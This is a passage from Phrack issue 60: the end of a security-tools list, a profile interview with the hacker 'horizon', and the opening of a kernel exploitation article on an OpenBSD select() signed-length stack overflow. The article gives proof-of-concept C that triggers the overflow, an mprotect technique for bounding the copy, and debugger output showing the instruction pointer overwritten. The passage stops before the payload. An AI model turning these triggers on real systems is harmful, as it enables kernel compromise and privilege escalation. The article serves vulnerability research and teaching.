Comment : The Nmap 3.10ALFA Statistics Patch adds the ‑c switch which guesses how much longer the scan will take, shows how many ports have been tested, resent, and the ports per second rate. Useful for scanning firewalled hosts.

‑‑‑‑[ 2 ‑ thc‑rut

URL : http://www.thehackerschoice.com/thc‑rut

Author : anonymous[at]segfault.net

Comment : RUT (aRe yoU There, pronouced as 'root') is your first knife on foreign network. It gathers informations from local and remote networks.

It offers a wide range of network discovery utilities like arp lookup on an IP range, spoofed DHCP request, RARP, BOOTP, ICMP‑ping, ICMP address mask request, OS fingerprinting, high‑speed host discovery, ...

THC‑RUT comes with a OS host Fingerprinter which determines the remote OS by open/closed port characteristics, banner matching and nmap fingerprinting techniques (T1, tcpoptions).

The fingerprinter has been developerd to quickly (10mins) categorize hosts on a Class B network. Information sources are (amoung others) SNMP replies, telnetd (NVT) negotiation options, generic Banner Matching, HTTP‑Server version, DCE request and tcp options. It is compatible to the nmap‑os‑fingerprints database and comes in addition to this with his own perl regex capable fingerprinting database (thcrut‑os‑fingerprints).

‑‑‑‑[ 3 ‑ Openwall GNU/*/Linux (Owl) 1.0 (Released 2002‑10‑13)

URL : http://www.openwall.com/Owl

Author : Solar Designer and other hackers.

Comment : Openwall Linux is the Hacker's choice platform. The security has been defined by people who know what they are doing. Owl comes without any useless services running by default, no RPM dependencies headache, full featured environment for developers, a large number of usefull tools and a BSD‑port‑like update mechanism. It's for people who prefer vi over click/drag‑and‑drop sickness to configure the system.

Openwall GNU/*/Linux (Owl) includes a pre‑built copy of John

the Ripper password cracker ready for use without requiring another OS (life system!) and without having to install on a hard disk (although that is supported). The CD‑booted system is fully functional, you may even let it go multi‑user with virtual consoles and remote shell access.

John the Ripper is a fast password cracker, currently available for many flavors of Unix (11 are officially supported, not counting different architectures), DOS, Win32, and BeOS. Its primary purpose is to detect weak Unix passwords, but a number of other hash types are supported aswell.

This is probably the most secure linux distribution out there.

‑‑‑‑[ 4 ‑ Stealth Kernel Patch

URL : http://packetstormsecurity.org/UNIX/patches/linux‑2.2.22‑stealth.diff.gz

Author : Sean Trifero <sean[at]innu.org>

Comment : The Stealth Kernel Patch for Linux v2.2.22 makes the linux kernel discard the packets that many OS detection tools use to query the TCP/IP stack. Includes logging of the dropped query packets and packets with bogus flags. Does a very good job of confusing nmap and queso.

‑‑‑‑[ 5 ‑ Memfetch

URL : http://packetstormsecurity.org/linux/security/memfetch.tgz

Author : Michal Zalewski <lcamtuf[at]ghettot.net>

Comment : Memfetch dumps the memory of a program without disrupting its operation, either immediately or on the nearest fault condition (such as SIGSEGV). It can be used to examine suspicious or misbehaving processes on your system, verify that processes are what they claim to be, and examine faulty applications using your favorite data viewer so that you are not tied to the inferior data inspection capabilities in your debugger.

‑‑‑‑[ 6 ‑ Lcrzoex

URL : http://www.laurentconstantin.com/en/lcrzoex/

http://www.laurentconstantin.com/en/rzobox/ (front end)

Author : Laurent Constantin <laurent.constantin@aql.fr>

Comment : Lcrzoex contains over 400 tools to test an Ethernet/IP network. It runs under Linux, Windows, FreeBSD, OpenBSD and Solaris. Features:

‑ sniff/spoof/replay

‑ syslog/ftp/dns/http/telnet clients

‑ ping/traceroute

‑ web spider

‑ tcp/web backdoor

‑ data conversion

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Phrack Prophile on horizon

phrack.org:~# cat .bash_history

==Phrack Inc.==

Volume 0x0b, Issue 0x3c, Phile #0x05 of 0x10

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ P R O P H I L E O N H O R I Z O N ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Phrack Staff ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑=[ Specification

Handle: horizon

AKA: humble, john

Handle origin: It sounded neat. catch him: I'm very easy to find.

Age of your body: mid 20s

Produced in: USA

Height & Weight: 5'11" ~165 lbs. Urlz: Nope

Computers: A couple of decent x86 boxes and a lot of older stuff..

Member of: CostCo

Projects: Currently, stuff for work, and a few personal things that really aren't that interesting.

|=‑‑‑=[ Favorite things

Women: Creativity, intelligence, a sense of style. Cars: German

Foods: Indian, Thai, Korean, Greek, Japanese, Lean Pockets Alcohol: Helles, Redbull & Vodka

Music: Screeching Weasel, Fugazi, Stretch Armstrong, Bad Religion, some electronic Movies: Big Lebowski, Office Space, Austin Powers, Memento, Pi Books & Authors: Sigh.. I wish I read more these days. Urls: Can't think of any...

I like: Engaging conversation. Sincerity and conviction. Solving difficult problems. Mr. Show. Gummi Bears. I dislike: Unwarranted arrogance. Unwarranted Gummi Bears.

|=‑‑‑=[ Life in 3 sentences

I've never been normal. I've always felt a sense of purpose. I've tried to be generous.

|=‑‑‑=[ Hacker Life

PHRACKSTAFF: You have found quite a lot of bugs in the past and developed exploit code for them. Some vulnerabilities required new creative exploitation concepts which were not known at that time. What drives you into Challenging the exploitation of complicated bugs and what methods do you use?

Well, my motivations have definitely changed over time. I can come up with several ancillary reasons that have driven me at different times during my life, and they include both the selfish and the altruistic. But, I think it really comes down to a compulsion to figure all this stuff out.

As far as methods, I try to be somewhat systematic in my approach. I budget a good portion of time for just reading through the program, trying to get a feel for its architecture and the mindset and techniques of its authors. This also seems to help prime my subconscious.

I like to start at the lower layers of a program or system and look for any kind of potential unexpected behavior that could percolate upwards. I will document each function and brainstorm any potential problems I see with it. I will occasionally take a break from documentation, and do the considerably more fun work of tracing back some of my theories to see if they pan out.

As far as writing exploits, I generally just try to reduce or eliminate the number of things that need to be guessed.

|=‑‑‑=[ Passions | What makes you tick

I'm definitely obsessed with computers. One of my original goals in learning to program as a kid was to develop games, so I've always been kind of passively interested in that. I'm also interested in artificial intelligence.

I've been doing Wing Chun kung fu for about two years now, and I find that to be really rewarding.

I spend a decent bit of my time thinking. I like to read lay‑person oriented overviews of various academic disciplines. I'd really like to learn more about biology and neuroscience.

|=‑‑‑=[ Which research have you done or which one gave you the most fun?

I think I've had the most fun when collaborating with others.

|=‑‑‑=[ Memorable Experiences

Hanging out with sygma, saad, wordsmith, shegget, and all my old irc friends. Getting into trouble with colonwq. Long, not entirely coherent, chats with rc.local. :>

The weekend drinking/hacking/coding sessions at neon's place. boilermakers. Romania. Coding with xaphan. Almost getting fired from my university job for hacking Microsoft, and then getting let off the hook when one of their security officers called my boss. Helping joey__ write his first exploit, and then not understanding how it worked when he had finished. Working on various stuff with JoC, cham, module, so1o, zorkeres, binf, and the rest of the r9 guys.

Hanging out with Vacuum and RFP before leaving the US.

The time I spent living in Germany. Working with plaguez and Thomas, two absurdly brilliant guys. Living with Howard and Sondee.. eating at the Citta. CCC Camp ‑ Meeting TESO, THC, and many others. linux deathmatch.

Watching people like duke and scut (and many others) get really good, and hoping that I somehow helped.

Accidentally crashing gatekeeper.

Hanging out in the adm channel. The always interesting discussions with str and anti. Racing with K2 to write exploits as Sun advisories came out.

The Firewall‑1 speech with Dug and Thomas.

Finally getting my degree.

My european tour with dice. HAL. Meeting silvio. Getting smashed in the basement of a bar in Poland with the LSD guys. Chilling with Scrippie and Dvorvak and the members of a Dutch death metal band.

Going to a rave in Miami with JJ and ending up in the keys the day before a hurricane.

Watching my little brothers grow up.

Tag team coding/auditing with dice.

Working for cool people ‑ Mike, Jim, Pat.

German/reversing lessons from Halvar.

sms's from srpnsrt.

Defcon ‑ meeting digit, cheez, charise, zip, gobbles, i1l, cain, arakis, caddis, ryan, riley, and so many others.

The fun times I've had in Chicago. Greg's couch. OFP with Paul and Sergey. The bachelor party with monti and MJ. Meeting the esteemed Sarlo.

|=‑‑‑=[ What's your architecture of choice? OS of choice?

I tend to use what I'm comfortable with or whatever seems appropriate at the moment. The three machines that I use most of the time are currently running XP, Linux, and OpenBSD.

|=‑‑‑=[ Quotes

"Jesus Christ John McDonald!"

"odd"

"So, basically, what you are saying is that we should try to find the reactors."

"Hey, I just work here..."

|=‑‑‑=[ Open Interview

Q: When did you start playing with computers?

I got a c64 when I was 6.

Q: When did you had your first contact to the 'scene'?

1997 or so.

Q: When did you for your first time connect to the Internet?

1993. I had a part time job in high school programming for a satellite research center that had Internet access. From what I recall, I mainly played around on usenet and ftp sites.

Q: Let's talk a little bit about free research and Copyright. What's your opinion about "Copyright on exploits"?

Well, I'm not a lawyer, and I haven't really looked into it. I think that people should be entitled to do what they want with their work, and that legal protections are there for a reason. However, I've got no idea what copyrighting an exploit will actually afford you legally.

Q: If you could turn the clock backward, what would you do different in your young life ?

That's a tough one. The Internet has suffered a fair bit for the sake of my ego. I think I would have handled certain things with more discretion if I'd had a little more perspective.

|=‑‑‑=[ One word comments

Give a one word comment to the following topics:

Digital Millennium Copyright Act (DMCA): oceanliner

KIMBLE (the wannabe‑hacker) : hoogedlyboogedly

ADM : fun

NAI : work

THE SCENE : which?

Companies buying exploits from hackers : dunno

IRC : idle

CERT : maligned

Full Disclosure Policy : careful

|=‑‑‑=[ Would you work for the government/military? Why or why not?

As much as it suprises me to say it, I don't really have an ideological opposition to working for my government. I think the combination of getting a little bit older, spending some time living abroad, and the recent events in my country has made me more appreciative of certain things. I think it is safe to say I would do it if I believed I was doing something positive and I thought it was necessary. Otherwise, I'd avoid it because it would just make life more complicated.

|=‑‑‑=[ Please tell our audience a worst case scenario into what the scene might turn into.

I guess I could prognosticate about it becoming factionalized, petty, cruel, insecure, and paranoid, but who would I be kidding?

|=‑‑‑=[ And if everything works out fine? What's the best case scenario you can imagine?

As long as there is a place for new people who show promise, I think things will be cool.

|=‑‑‑=[ Any suggestions/comments/flames to the scene and/or specific people?

Think for yourself.

|=‑‑‑=[ Shoutouts & Greetings

Hi everyone :>

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Smashing The Kernel Stack For Fun And Profit

==Phrack Inc.==

Volume 0x0b, Issue 0x3c, Phile #0x06 of 0x10

|=‑‑‑‑‑‑‑‑‑‑=[ Smashing The Kernel Stack For Fun And Profit ]=‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Sinan "noir" Eren <noir@olympos.org> ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

DISCLAIMER:

This article presented here is bound to no organization or company. It is the author's contrubition to the hacker community at large. The research and development in this article is done by the author with NO SUPPORT from a commercial organization or company. No organization or company should be held responsible or credited for this article other than the author himself.

‑‑[ Contents

1 ‑ Introduction

2 ‑ The vulnerability: OpenBSD select() syscall overflow

3 ‑ Obstacles encountered in exploitation

3.1 ‑ Overcoming the large copyin() problem

3.1.1 ‑ mprotect() 4 life!

3.2 ‑ Payload storage problem

3.3 ‑ Return to user land problem

4 ‑ Crafting the exploit

4.1 ‑ Breakpoints & distance Calculation

4.2 ‑ Return address overwrite & execution redirection

5 ‑ How to gather offsets & symbol addresses

5.1 ‑ sysctl() syscall

5.2 ‑ sidt technique & _kernel_text search

5.3 ‑ _db_lookup() technique

5.4 ‑ /usr/bin/nm, kvm_open(), nlist()

5.5 ‑ %ebp fixup

6 ‑ Payload/shellcode creation

6.1 ‑ What to achieve

6.2 ‑ The payload

6.2.1 ‑ p_cred & u_cred

6.2.2 ‑ chroot breaking

6.2.3 ‑ securelevel

6.3 ‑ Get root & escape jail

7 ‑ Conclusions

8 ‑ Greetings

9 ‑ References

10 ‑ Code

‑‑[ 1 ‑ Introduction

This article is about recent exposures of many kernel level vulnerabilities and advances in their exploitation which leads to trusted (oops safe) and robust exploits.

We will focus on 2 recent vulnerabilities in the OpenBSD kernel as our case studies. Out of the these we will mainly concentrate on exploitation of the select() system call buffer overflow. The setitimer() arbitrary memory overwrite vulnerability will be explained in the code section of this article (as inline comments, so as not to repeat what we have already covered whilst exploring the select() buffer overflow).

This paper should not be viewed as an exploit construction tutorial, my goal is, rather, to explore and demonstrate generic ways to exploit stack overflows and signed/unsigned vulnerabilities in kernel space.

Case studies will be used to demonstrate these techniques, and reusable *BSD "kernel level shellcodes" ‑‑ with many cool features! ‑‑ will be presented.

There has been related work done by [ESA] and [LSD‑PL], which may complement this article.

‑‑[ 2 ‑ The Vulnerability: OpenBSD select() syscall overflow

sys_select(p, v, retval)

register struct proc *p;

void *v;

register_t *retval;

{

register struct sys_select_args /* {

syscallarg(int) nd; syscallarg(fd_set *) in; syscallarg(fd_set *) ou; syscallarg(fd_set *) ex; syscallarg(struct timeval *) tv;

} */ *uap = v;

fd_set bits[6], *pibits[3], *pobits[3];

struct timeval atv;

int s, ncoll, error = 0, timo;

u_int ni;

[1] if (SCARG(uap, nd) > p‑>p_fd‑>fd_nfiles) { /* forgiving; slightly wrong */

SCARG(uap, nd) = p‑>p_fd‑>fd_nfiles;

}

[2] ni = howmany(SCARG(uap, nd), NFDBITS) * sizeof(fd_mask); [3] if (SCARG(uap, nd) > FD_SETSIZE) {

...

}

...

#define getbits(name, x) \

[4] if (SCARG(uap, name) && (error = copyin((caddr_t)SCARG(uap, name), \ (caddr_t)pibits[x], ni))) \

goto done;

[5] getbits(in, 0);

getbits(ou, 1);

getbits(ex, 2);

#undef getbits

...

To make some sense out of the code above we need to decipher the SCARG macro, which is extensively used in the OpenBSD kernel syscall handling routines.

Basically, SCARG() is a macro that retrieves the members of the 'struct sys_XXX_args' structures.

sys/systm.h:114

...

#if BYTE_ORDER == BIG_ENDIAN

#define SCARG(p, k) ((p)‑>k.be.datum) /* get arg from args

pointer */

#elif BYTE_ORDER == LITTLE_ENDIAN

#define SCARG(p, k) ((p)‑>k.le.datum) /* get arg from args

pointer */

sys/syscallarg.h:14

...

#define syscallarg(x)

union {

register_t pad;

struct { x datum; } le; \

struct {

int8_t pad[ (sizeof (register_t) < sizeof (x)) \

? 0 \

: sizeof (register_t) ‑ sizeof (x)]; \

x datum;

} be;

}

Access to structure members is performed via SCARG() in order to preserve alignment along CPU register size boundaries, so that memory accesses will be faster and more efficient.

In order to make use of the SCARG() macro, the declarations need to be done as follows (example for select() syscall arguments):

sys/syscallarg.h:404

...

struct sys_select_args {

[6] syscallarg(int) nd;

syscallarg(fd_set *) in;

syscallarg(fd_set *) ou;

syscallarg(fd_set *) ex;

syscallarg(struct timeval *) tv;

};

The vulnerability can be described as an insufficient check on the 'nd' argument [6], which is used as the length parameter for userland to kernel land copy operations.

Whilst there is a check [1] on the 'nd' argument (nd represents the highest numbered descriptor plus one, in any of the fd_sets), which is checked against the p‑>p_fd‑>fd_nfiles (the number of open descriptors that the process is holding), this check is inadequate ‑‑ 'nd' is declared as signed [6], so it can be negative, and therefore will pass the greater‑than check [1].

Then 'nd' is put through a macro [2], in order to calculate an unsigned integer, 'ni', which will eventually be used as the the length argument for the copyin operation.

howmany() [2] is defined as follows (sys/param.h line 175):

#define howmany(x, y) (((x)+((y)‑1))/(y))

Expansion of line [2] will look like as follows:

sys/types.h:157, 169

#define NBBY 8 /* number of bits in a byte */

typedef int32_t fd_mask;

#define NFDBITS (sizeof(fd_mask) * NBBY) /* bits per mask */

...

ni = ((nd + (NFDBITS‑1)) / NFDBITS) * sizeof(fd_mask);

ni = ((nd + (32 ‑ 1)) / 32) * 4

Calculation of 'ni' is followed by another check on the 'nd' argument [3]. This check is also passed, since OpenBSD developers consistently forget about the signedness checks on the 'nd' argument. Check [3] was done to see if the space allocated on the stack is sufficient for the following copyin operations, and, if not, then sufficient heap space will be allocated.

Given the inadequacy of the signed check, we'll pass check [3] (> FD_SETSIZE), and will continue using stack space. This will make our life much easier, given that stack overflows are much more trivially exploited than heap overflows. (Hopefully, I'll write a follow‑up paper that will demonstrate kernel‑land heap overflows in the future).

Finally, the getbits() [4,5] macro is defined and called in order to retrieve user supplied fd_sets (readfds, writefds, exceptfds ‑‑ these arrays contain the descriptors to be tested for 'ready for reading', ready for writing' or 'have an exceptional condition pending').

For exploitation purposes we don't really care about the layout of the fd_sets ‑‑ they can be treated as any simple char buffer aiming to overflow its boundaries and overwrite the saved ebp and saved eip.

With this simple test code, we can reproduce the overflow:

#include <stdio.h>

#include <sys/types.h>

int

main(void)

{

char *buf;

buf = (char *) malloc(1024);

memset(buf, 0x41, 1024);

select(0x80000000, (fd_set *) buf, NULL, NULL, NULL);

}

What happens is; system call number 93 (SYS_select) is dispatched to handler sys_select() by the syscall() function, with all user land supplied arguments bundled into a sys_select_args structure.

'nd', being 0x80000000 (the smallest negative number for signed 32bit) has gone through the size check [1] and, later, the howmany() macro [2] calculates unsigned integer 'ni' as 0x10000000. The getbits() macro [5] is then called with the address of buf (user land, heap) which expands to the copyin(buf, kernel_stack, 0x10000000) operation.

copyin() starts to copy the userland buffer to the kernel stack, a long at a time (0x10000000/4 times). However, this copy operation won't ever fully succeed, as the kernel will run out of per‑process stack trying to copy such a huge buffer from userland ‑‑ and will crash on an out of bounds write operation.

‑‑[ 3 ‑ Obstacles encountered in exploitation

‑ copyin(uaddr, kaddr, big_number) problem

First and the most obvious problem is to take control of the size argument 'ni' passed to the copyin operation, since this number is derived from the user supplied 'nd' argument which, must be negative, we'll never be able to construct a reasonably "big" number. Actually the "smallest" positive number we can construct is 0x10000000. As we have already find out that, this number will cause us to hit the end of kernel stack and kernel will panic. This is our first obstacle and we'll overcome it by exploring how copyin() works in the following section.

‑ payload storage problem

This is a typical problem for every type of exploit (user or kernel land). Determining where the most appropriate place is to store the payload/shellcode. This problem is rather simple to overcome in kernel land exploits and we'll talk about the proper solution.

‑ clean return to user land problem

Another problem arises after we overwrite the saved return address and gain control, at that point we can be real imaginative on the payload, but we'll run into the trouble of how to return back to user land and be able to enjoy our newly altered kernel space!

‑‑[ 3.1 ‑ Overcoming The Large copyin() Problem

To be able to solve this problem, we need to read through the copyin() and trap() functions and understand their internals.

We shall start by understanding copyin() user to kernel copy primitive, my comments will be inlined:

sys/arch/i386/i386/locore.s:955

ENTRY(copyin)

pushl %esi

pushl %edi

Save %esi, %edi .

movl _C_LABEL(curpcb),%eax

Move the current process control block address (_curpcb) into %eax . _C_LABEL() is a simple macro that will add an underscore sign to the beginning of the symbol name. See sys/arch/i386/include/asm.h:66

The process control block is a per‑process kernel structure that holds the current execution state of a process and differs based on machine architecture. It consists of: stack pointer, program counter, generalpurpose registers, memory management registers and some other architecture depended members such as per process LDT's (i386) and so on. The *BSD kernel extends the PCB with software related entries, such as the "copyin/out fault recovery" handler (pcb_onfault). Each process control block is stored and referenced through the user structure. See sys/user.h:61 and [4.4 BSD].

[1] pushl $0

Push a ZERO on the stack; this will make sense at the epilog or the _copy_fault function, which has the matching 'popl' instruction.

[2] movl $_C_LABEL(copy_fault),PCB_ONFAULT(%eax)

Move _copy_fault's entry address into the process control block's pcb_onfault member. This simply installs a special fault handler for 'protection', 'segment not present' and 'alignment' faults. copyin() installs its own fault handler, _copy_fault, we'll get back to this when exploring the trap() code, since processor faults are handled there.

movl 16(%esp),%esi

movl 20(%esp),%edi

movl 24(%esp),%eax

Move the incoming first, second and third arguments to %esi, %edi, %eax respectively. %esi being the user land buffer, %edi the destination kernel buffer and %eax the size.

/*

* We check that the end of the destination buffer is not past the end * of the user's address space. If it's not, then we only need to * check that each page is readable, and the CPU will do that for us. */

movl %esi,%edx

addl %eax,%edx

This addition operation is to verify if the user land address plus the size (%eax) is in legal user land address space. The user land address is moved to %edx and then added to the size (ubuf + size), which will point to the supposed end of the user land buffer.

jc _C_LABEL(copy_fault)

This is a smart check to see if previous addition operation has an integer over‑wrap issue. e.g: the user land address being 0x0ded and size being 0xffffffff ‑‑ this unsigned arithmetic operation will overlap and the result is going to be 0x0dec. By design, the CPU will set the carry flag on such condition and 'jc' jump short on carry flag set instruction will take us to _copy_fault function which do some clean up and return EFAULT .

cmpl $VM_MAXUSER_ADDRESS,%edx

ja _C_LABEL(copy_fault)

Followed by the range check: whether or not the user land address plus size is in valid user land address space range. A comparison is done against the VM_MAXUSER_ADDRESS constant, which is the end of the user land stack (0xdfbfe000 through obsd 2.6‑3.1). If the sum (%edx) is above VM_MAXUSER_ADDRESS 'ja' (jump above) instruction will make a short jump to _copy_fault , eventually leading to the termination of the copy operation.

3: /* bcopy(%esi, %edi, %eax); */

cld

Clear the direction flag, DF = 0, means that the copy operation is going to increment the index registers '%esi and %edi' .

movl %eax,%ecx

shrl $2,%ecx

rep

movsl

Do the copy operation long at a time, from %esi to %edi .

movb %al,%cl

andb $3,%cl

rep

movsb

Copy the remaining (size % 4) data, byte at a time.

movl _C_LABEL(curpcb),%edx

popl PCB_ONFAULT(%edx)

Move the current process control block address into %edx, and then pop the first value on the stack into the pcb_onfault member (ZERO [1] pushed earlier). This means, the special fault handler is cleared from the process.

popl %edi

popl %esi

Restore the old values of %edi, %esi .

xorl %eax,%eax

ret

Do a return with a return value of zero: Success .

ENTRY(copy_fault)

In the case of faults and failures in checks at copyin() this is where we drop.

movl _C_LABEL(curpcb),%edx

popl PCB_ONFAULT(%edx)

Move the current process control block address into %edx and then pop the first value on the stack into the pcb_onfault member (ZERO [1] pushed earlier). This clears the special fault handler from the process.

popl %edi

popl %esi

Restore the old values of %edi, %esi .

movl $EFAULT,%eax

ret

Do a return with a return value of EFAULT (14): Failure .

After this long exploration of the copyin() function we'll just take a brief look at trap() and check how pcb_onfault is implemented. trap() is the main interface to exception, fault and trap handling of the BSD kernel.

trap.h:51:#define T_PROTFLT 4 /* protection fault */

trap.h:63:#define T_SEGNPFLT 16 /* segment not present fault

*/

trap.h:54:#define T_ALIGNFLT 7 /* alignment fault */

sys/arch/i386/i386/trap.c:174

void

trap(frame)

struct trapframe frame;

{

register struct proc *p = curproc;

int type = frame.tf_trapno;

...

switch (type) {

...

line: 269

case T_PROTFLT:

case T_SEGNPFLT:

case T_ALIGNFLT:

/* Check for copyin/copyout fault. */

[1] if (p && p‑>p_addr) {

[2] pcb = &p‑>p_addr‑>u_pcb;

[3] if (pcb‑>pcb_onfault != 0) { copyfault:

[4] frame.tf_eip = (int)pcb‑>pcb_onfault;

return;

}

}

...

Faults such as 'protection', 'segment not present' and 'alignment' are handled all together, through a switch statement in trap() code. The appropriate case for the mentioned faults in trap() , initially checks for the existence of the process structure and the user structure [1] then loads the process control block from the user structure [2], check if the pcb_onfault is set [3] if its set, if so, the instruction pointer (%eip) of the control block is overwritten with the value of this special fault handler [4]. After the process is context switched and given the cpu, it will start running from the new handler code in kernel space. In the case of copyin() , execution will be redirected to _copy_fault .

Armoured with all this knowledge, we can now provide a solution for the 'big size copyin()' problem.

‑‑[ 3.1.1 ‑ mprotect() 4 life!

x86 cpu memory operations such like trying to read from write only (‑w‑) page or trying to write to a read only (r‑‑) or no access (‑‑‑) page and some other combinations will throw out a protection fault which will be handled by trap() code as shown above.

This basic functionality will allow us to write as many bytes into kernel space as we wish, no matter how big the size value actually is. As seen above, the trap() code checks for pcb_onfault handler for protection faults and redirects execution to it. In order to stop copying from user land to kernel land, we will need to turn off the read protection bit of any certain page following the overflow vector and achieve our goal.

‑‑‑‑‑‑‑‑‑‑‑‑‑

| rwx | ‑‑> Dynamically allocated PAGE_SIZEd

| | user land memory

| |

|xxxxxxxxxxx| ‑‑> Overflow vector (fd_set array)

‑‑‑‑‑‑‑‑‑‑‑‑‑ (saved %ebp, %eip overwrite values)

| ‑w‑ |

| |

| | ‑‑> Dynamically allocated PAGE_SIZEd

| | consecutive memory, PROT_WRITE

‑‑‑‑‑‑‑‑‑‑‑‑‑

The way to control the overflow as described in the diagram is to allocate 2 PAGE_SIZEd memory chunks and fill the end of the first page with overflow data (exploitation vector) and then turn off the read protection bit of the following page.

At this stage we also run into another problem (albeit rather simple to overcome). PAGE_SIZE is 4096 in x86 and 4096 bytes of overflowed stack will crash the kernel at an earlier stage (before we take control).

Actually for this specific overflow saved %ebp and saved %eip is 192 and 196 bytes away from the overflowed buffer, respectively. So, what we'll do is allocate 2 pages and pass the fd_set pointer as 'second_page ‑ 200'. Then copyin() will start copying just 200 bytes before the end of the readable page and will hit the non readable page right after. An expection will be thrown and trap() will handle the fault as explained, 'protection fault' handler will check pcb_onfault and set the instruction pointer of the current PCB to the address of the handler, in this case _copy_fault. _copy_fault will return EFAULT.

If we go back to the sys_select() code getbits() macro [4] will check for the return value and will go to 'done' label on any value other than success (0). At this point sys_select() set the error code (errno) and return to syscall() (syscall dispatcher).

Here is the test code to verify the mprotect technique:

#include <stdio.h>

#include <sys/types.h>

#include <sys/mman.h>

#include <unistd.h>

int

main(void)

{

char *buf;

u_long pgsz = sysconf(_SC_PAGESIZE);

buf = (char *) malloc(pgsz * 3);

/* asking for 3 pages, just to be safe */

if(!buf) { perror("malloc"); exit(‑1); }

memset(buf, 0x41, pgsz*3); /* 0x41414141 ;) */

buf = (char *) (((u_long) buf & ~pgsz) + pgsz);

/* actually, we'r using the 2. and 3. pages*/

if(mprotect((char *) ((u_long) buf + pgsz), (size_t) pgsz, PROT_WRITE) < 0)

{

perror("mprotect"); exit(‑1);

}

/* we set the 3rd page as WRITE only,

* anything other than READ is fine

*/

select(0x80000000, (fd_set *) ((u_long) buf + pgsz ‑ 200), NULL, NULL, NULL);

}

‑ The ddb> kernel debugger

To be able to debug the kernel we will need to set up the ddb kernel debugger. Type the following commands to make sure ddb is set and don't forget that, you should have some sort of console access to be able to debug the kernel. (Physical access, console cable or those funky network console devices...)

bash‑2.05a# sysctl ‑w ddb.panic=1

ddb.panic: 1 ‑> 1

bash‑2.05a# sysctl ‑w ddb.console=1

ddb.console: 1 ‑> 1

The first sysctl command configures ddb to kick in on kernel panics. The latter will set up ddb accessible from console at any given time, with the ESC+CTRL+ALT key combination.

There is no way to explore kernel vulnerabilities without many panic()s getting in the way, so lets get dirty.

bash‑2.05a# gcc ‑o test2 test2.c

bash‑2.05a# sync

bash‑2.05a# sync

bash‑2.05a# uname ‑a

OpenBSD kernfu 3.1 GENERIC#59 i386

bash‑2.05a# ./test2

uvm_fault(0xe4536c6c, 0x41414000, 0, 1) ‑> e

kernel: page fault trap, code=0

Stopped at0x41414141:uvm_fault(0xe4536c6c, 0x41414000, 0, 1) ‑> e ...

ddb> trace

...

_kdb_trap(6,0,e462af08,1) at _kdb_trap+0xc1

_trap() at _trap+0x1b0

‑‑‑ trap (number 6) ‑‑‑

0x41414141:

ddb>

What all this means is that a page fault trap was taken from for address 0x41414141 and since this is an invalid address for kernel land, it was not able to be paged in (such like every illegal address reference) which lead to a panic(). This means we are on the right track and indeed overwrite the %eip since the page 0x41414000 was attempted to loaded into memory.

Type following for a clean reboot.

ddb> boot sync

....

Lets verify that we gain the control by overwriting the %eip ‑ here is how to set the appropriate breakpoints:

Hit CTRL+ALT+ESC:

ddb> x/i _sys_select,130

_sys_select:pushl%ebp

_sys_select+0x1:movl%esp,%ebp

...

...

_sys_select+0x424:leave

_sys_select+0x425:ret

_sys_select+0x426:nop

...

ddb> break _sys_select+0x425

ddb> cont

^M‑‑> hit enter!

bash‑2.05a#

At this stage some other process might kick ddb> in because of its use of the select syscall, just type 'cont' on the ddb> prompt and hit CR.

bash‑2.05a# ./test2

...

ddb> print $ebp

41414141

ddb> x/i $eip

_sys_select+0x425:ret

ddb> x/x $esp

0xe461df3c:41414141 ‑‑> saved instruction pointer!

ddb> boot sync

...

‑‑[ 3.2 ‑ Payload storage problem

The payload storage area for user land vulnerabilities is usually the overflowed buffer itself (if it's big enough) or some known user controlled other location such like environment variables, pre‑overflow command leftovers, etc, etc, in short, any user controlled memory that will stay resident long enough to reference at a later time. Since the overflowed buffer may be small in size, it is not always feasible to store the payload there. Actually, for this specific buffer overflow, the contents of the overflowed buffer get corrupted leaving us no chance to return to it. Also, we will need enough room to execute code in kernel space to be able to do complex tasks, such as resetting the chroot pointers, altering pcred, ucred and securelevel and resolving where to return to ... for all these reasons we are going to execute payload in the source buffer as opposed to the destination (overflowed) buffer. This means we're going to jump to the user land page, execute our payload and return back to our caller transparently. This is all legitimate execution and we will have almost unlimited space to execute our payload. In regards to the select() overflow: copyin(ubuf, kbuf, big_num), we'll execute code inside 'ubuf'.

‑‑[ 3.3 ‑ Return to user land problem

After we gain control and execute our payload, we need to clean things up and start our journey to user land but this isn't as easy as it may sound. My first approach was to do an 'iret' (return from interrupt) in the payload after altering all necessary kernel structures but this approach turn out to be real painful. First of all, it's not an easy task to do all the post‑syscall handling done by syscall() function. Also, the trap() code for kernel to user land transition can not be easily turn into payload assembly code. However the most obvious reason, not to choose the 'iret' technique is that messing with important kernel primitives such as locks, pending signals and/or mask‑able interrupts is a really risky job thus drastically reducing the reliability of exploits and increasing the potential for post exploitation kernel panics. So I choose to stay out of it! ;)

The solution was obvious, after payload execution we should return to the point in syscall() handler where _sys_select() was supposed to return. After that point, we don't need to care about any of the aforementioned kernel primitives. This solution leads to the question of how to find out where to return into since we have overwritten the return address to gain control thus losing our caller's location. We will explorer many of the possible solutions in section 5 and usage of the idtr register for kernel land address gathering will be introduced on section 5.2 for some serious fun!! Let's get going ...

‑‑[ 4 ‑ Crafting the exploit

In this section, setting up of proper breakpoints and how to calculate the distance to the saved instruction pointer will be discussed. Also, a new version of test code will be presented in order to demostrate that execution can be successfully directed to the user land buffer.

‑‑[ 4.1 ‑ Breakpoints & Distance Calculation

bash‑2.05a# nm /bsd | grep _sys_select

e045f58c T _linux_sys_select

e01c5a3c T _sys_select

